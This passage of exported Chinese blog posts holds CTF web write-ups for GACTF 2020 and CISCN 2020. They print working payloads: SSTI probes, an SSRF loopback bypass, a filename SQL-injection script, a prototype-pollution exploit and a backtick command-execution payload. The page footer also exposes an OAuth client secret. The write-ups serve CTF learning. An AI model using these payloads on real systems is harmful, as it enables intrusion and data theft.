\u003ccode\u003esession_set_save_handler\u003c/code\u003e函数手册,结合源码,我们可以发现源码对sessionid进行了简单过滤。\u003c/p\u003e\u003cp\u003e如何解这道题呢?\u003c/p\u003e\u003ch3 id=\"最简单的解法\"\u003e最简单的解法\u003c/h3\u003e\u003cp\u003e首先我们可以看到Accounts页面中回显了\u003ccode\u003enote_\u003c/code\u003e文件的内容,我们能够控制这个文件的路径,而这里存在目录穿越\u003cbr\u003e所以我们把sessionid设置成\u003ccode\u003e../../../../flag\u003c/code\u003e就行了。flag文件我们没权限写,读权限还是有的。我们是这么做出来的((\u003c/p\u003e\u003ch3 id=\"出题人可能预期的解法\"\u003e出题人可能预期的解法\u003c/h3\u003e\u003cp\u003e虽然题已经做出来了,但是后面貌似出题人将flag加入了关键词检测。看一看源码,有两个有趣的地方\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esrand(固定值)\u003c/code\u003e\u003c/li\u003e\u003cli\u003esession处理的逻辑写在了一个类里面,有\u003ccode\u003e__destruct\u003c/code\u003e,且反序列化可以绕过对sessionid的waf\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e具体怎么做还没来得及研究,之后有空了再说吧\u003c/p\u003e\u003ch2 id=\"EZFLASK\"\u003eEZFLASK\u003c/h2\u003e\u003cp\u003e出题人给出了部分源码,明摆着就是想让我们去访问admin路由。\u003cbr\u003e\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__globals__\"\u003e__globals__到底是什么\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026#123;\u0026#123;index.__globals__\u0026#125;\u0026#125;\u003c/code\u003e\u003c/p\u003e\u003cimg src=\"/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_e92ae998edaadf1d01a758abe82e4d47.png\" class=\"\" title=\"aaa\"\u003e\u003cp\u003e于是我们可以看出admin路由为\u003ccode\u003e/h4rdt0f1nd_9792uagcaca00qjaf\u003c/code\u003e,访问后发现是一个requests的ssrf点。\u003cbr\u003e还有一个ctf函数我们还没有用过,看出题人的意思是那里有一些提示。通过\u003ca href=\"https://docs.python.org/3/reference/datamodel.html?highlight=__code__\"\u003e__code__属性\u003c/a\u003e我们可以一窥ctf函数中的常量:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u0026#123;ctf.__code__.co_consts\u0026#125;\u0026#125;:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e可知:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehint = \u003cspan class=\"string\"\u003e\u0026#x27;the admin route :h4rdt0f1nd_9792uagcaca00qjaf\u0026lt;!-- port : 5000 --\u0026gt;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003etrick = \u003cspan class=\"string\"\u003e\u0026#x27;too young too simple\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e提示说5000端口有另一个服务。但是当我们尝试访问\u003ccode\u003e127.0.0.1\u003c/code\u003e时发现有waf。梅开二度,我们可以通过\u003ccode\u003e__code__\u003c/code\u003e来大体看到waf规则:\u003c/p\u003e\u003cimg src=\"/2020/09/01/Security/Writeup/GACTF-2020-Web/upload_f4abe482d6ed5160ea58f93868f0cce4.png\" class=\"\" title=\"Result\"\u003e\u003cp\u003e0.0被过滤了。冷知识时间:本地回环地址为\u003ccode\u003e127.0.0.0/8\u003c/code\u003e,这个掩码\u003ccode\u003e8\u003c/code\u003e是不是看起来不太直观?我们换个样子试试:\u003ccode\u003e255.0.0.0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e所以访问\u003ccode\u003e127.114.51.4:5000\u003c/code\u003e,看到内层的应用是一个裸的ssti,flag在app.config里。然而ssrf的path在外层进行了过滤(\u003ccode\u003ewaf_path\u003c/code\u003e)。很可惜,\u003ccode\u003ewaf_path.__code__.co_consts\u003c/code\u003e由于长度问题被过滤了,过滤规则只能通过盲猜。\u003c/p\u003e\u003cp\u003e经过一系列尝试,在\u003ccode\u003eurl_for.__globals__.current_app\u003c/code\u003e找到了app对象。\u003c/p\u003e\u003ch2 id=\"carefuleyes\"\u003ecarefuleyes\u003c/h2\u003e\u003cp\u003e整体上就是Hitcon 2016 babytrick梅开二度,随便找一个注入点就行了\u003c/p\u003e\u003cp\u003erename.php中有一个自注入,很刻意\u003c/p\u003e\u003cp\u003e我 注 我 自 己\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e *\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#x27;http://124.71.191.175\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;http://202.182.118.236\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# host = \u0026#x27;http://localhost\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003efile = \u003cspan class=\"string\"\u003e\u0026#x27;frankli\\\u0026#x27; and 1=0 union select 1,`password` as filename,3,4,5 from user where username=\\\u0026#x27;XM\\\u0026#x27; #.txt\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/upload.php\u0026#x27;\u003c/span\u003e, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;upfile\u0026#x27;\u003c/span\u003e: (file, \u003cspan class=\"string\"\u003e\u0026#x27;b\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epasswd = ses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/rename.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;oldname\u0026#x27;\u003c/span\u003e: file[:-\u003cspan class=\"number\"\u003e4\u003c/span\u003e],\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;newname\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;asdf\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epasswd = passwd[\u003cspan class=\"number\"\u003e14\u003c/span\u003e:passwd.find(\u003cspan class=\"string\"\u003e\u0026#x27;will be changed\u0026#x27;\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eXCTFGG\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_method = \u003cspan class=\"string\"\u003e\u0026#x27;login\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_args = [\u003cspan class=\"string\"\u003e\u0026#x27;XM\u0026#x27;\u003c/span\u003e, passwd]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/upload.php\u0026#x27;\u003c/span\u003e, files=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;upfile\u0026#x27;\u003c/span\u003e: (\u003cspan class=\"string\"\u003e\u0026#x27;frank.txt\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;c\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;data\u0026#x27;\u003c/span\u003e: serialize(XCTFGG())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"simple-flask-与-XWiki\"\u003esimple flask 与 XWiki\u003c/h2\u003e\u003cp\u003e略。simple flask抢了个一血,挺开心的(\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/09/01/Security/Writeup/GACTF-2020-Web/"},{"title":"第十三届全国大学生信息安全竞赛西北赛区 Web题目 Writeup","time":"2020-08-20T16:00:00Z","content":"\u003ch2 id=\"littlegame\"\u003elittlegame\u003c/h2\u003e\n\u003cp\u003ejs原型链污染,\u003ccode\u003eset-value\u003c/code\u003e库3.0.0旧版本。公开exploit如下:\u003c/p\u003e\n\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003chr /\u003e\u003ch2 id=\"littlegame\"\u003elittlegame\u003c/h2\u003e\u003cp\u003ejs原型链污染,\u003ccode\u003eset-value\u003c/code\u003e库3.0.0旧版本。公开exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e setFn = \u003cspan class=\"built_in\"\u003erequire\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;set-value\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e paths = [\u003cspan class=\"string\"\u003e\u0026#x27;constructor.prototype.a0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;__proto__.a1\u0026#x27;\u003c/span\u003e,];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e (\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e p \u003cspan class=\"keyword\"\u003eof\u003c/span\u003e paths) \u0026#123; setFn(\u0026#123;\u0026#125;, p, \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e); \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; paths.length; i++) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e ((\u0026#123;\u0026#125;)[\u003cspan class=\"string\"\u003e`a\u003cspan class=\"subst\"\u003e$\u0026#123;i\u0026#125;\u003c/span\u003e`\u003c/span\u003e] === \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"string\"\u003e`Yes with \u003cspan class=\"subst\"\u003e$\u0026#123;paths[i]\u0026#125;\u003c/span\u003e`\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)()\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e拿来主义,用就完了\u003c/p\u003e\u003cp\u003e阅读源码,可以发现在\u003ccode\u003e/Privilege\u003c/code\u003e处进行了\u003ccode\u003eset-value\u003c/code\u003e调用,并且在\u003ccode\u003e/DeveloperControlPanel\u003c/code\u003e处检查了\u003ccode\u003eAdmin\u003c/code\u003e对象(一个普通的数组)的任意可控属性,那污染字典类型的原型,添加一个自定义属性即可。\u003c/p\u003e\u003cp\u003e最终exploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/SpawnPoint\u0026#x27;\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/Privilege\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;NewAttributeKey\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;__proto__.pwd\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;NewAttributeValue\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;frankli\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/DeveloperControlPanel\u0026#x27;\u003c/span\u003e, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;key\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;pwd\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;password\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;frankli\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"babyunserialize\"\u003ebabyunserialize\u003c/h2\u003e\u003cp\u003e见\u003ca href=\"https://blog.frankli.site/2020/08/21/fatfree%20POP/\"\u003e另一篇博客\u003c/a\u003e\u003c/p\u003e\u003ch2 id=\"easytrick\"\u003eeasytrick\u003c/h2\u003e\u003cp\u003e一开始是联想到了Nu1l在某处的论坛里发的利用\u003ccode\u003eException\u003c/code\u003e的\u003ccode\u003e__toString\u003c/code\u003e来绕过判等(属性不同,不强等于),但是无奈太长了\u003cbr\u003e\u003ccode\u003eSimpleXMLElement\u003c/code\u003e也找不到合适的方式利用(有可能么?)\u003c/p\u003e\u003cp\u003e后来想了想,不可能是利用对象的\u003ccode\u003e__toString\u003c/code\u003e来绕过,因为这样无法同时绕过三个判断\u003c/p\u003e\u003cp\u003e最后发现\u003ccode\u003e1.00...001\u003c/code\u003e在转字符串的时候会变成\u003ccode\u003e1\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003etrick\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e trick1 = \u003cspan class=\"number\"\u003e1.00000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e trick2 = \u003cspan class=\"number\"\u003e1.000000000000001\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(serialize(trick()))\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"剩下两道就放个payload吧。。\"\u003e剩下两道就放个payload吧。。\u003c/h2\u003e\u003cul\u003e\u003cli\u003erceme: 没过滤反引号 \u003ccode\u003e?a=\u0026#123;if:var_dump(``ls``)\u0026#125;\u0026#123;end if\u0026#125;\u003c/code\u003e\u003c/li\u003e\u003cli\u003eeasyphp: Apache收到SIGUSR1的时候会软重启 \u003ccode\u003e?a=call_user_func\u0026amp;b=pcntl_wait\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/21/Security/Writeup/CISCN%202020/"},{"title":"fatfree framework POP链挖掘","time":"2020-08-20T16:00:00Z","content":"\u003cp\u003eWeb狗无法在险恶的CTF世界中存活\u003c/p\u003e\n\u003cp\u003eCISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了\u003c/p\u003e\n\u003cp\u003e这里写一下babyserialize的题的题解,其它题有心情了再写\u003c/p\u003e\n\u003ch2 id=\"babyseriali\u003chr /\u003e\u003cp\u003eWeb狗无法在险恶的CTF世界中存活\u003c/p\u003e\u003cp\u003eCISCN2020 落幕,web所有题加起来还不如misc/crypto/re题的零头,吐了\u003c/p\u003e\u003cp\u003e这里写一下babyserialize的题的题解,其它题有心情了再写\u003c/p\u003e\u003ch2 id=\"babyserialize\"\u003ebabyserialize\u003c/h2\u003e\u003cp\u003e前段时间在WMCTF中挖的链被断掉了,稍微改一改\u003c/p\u003e\u003cp\u003e第一次见flag直接放phpinfo里头的。。。找了半天没找到。。。\u003c/p\u003e\u003cp\u003e在这里把挖到的几条链都放一下吧\u003c/p\u003e\u003ch3 id=\"单个任意参数调用任意函数\"\u003e单个任意参数调用任意函数\u003c/h3\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@namespace(\u003cspan class=\"params\"\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CLI\u0026#x27;\u003c/span\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan 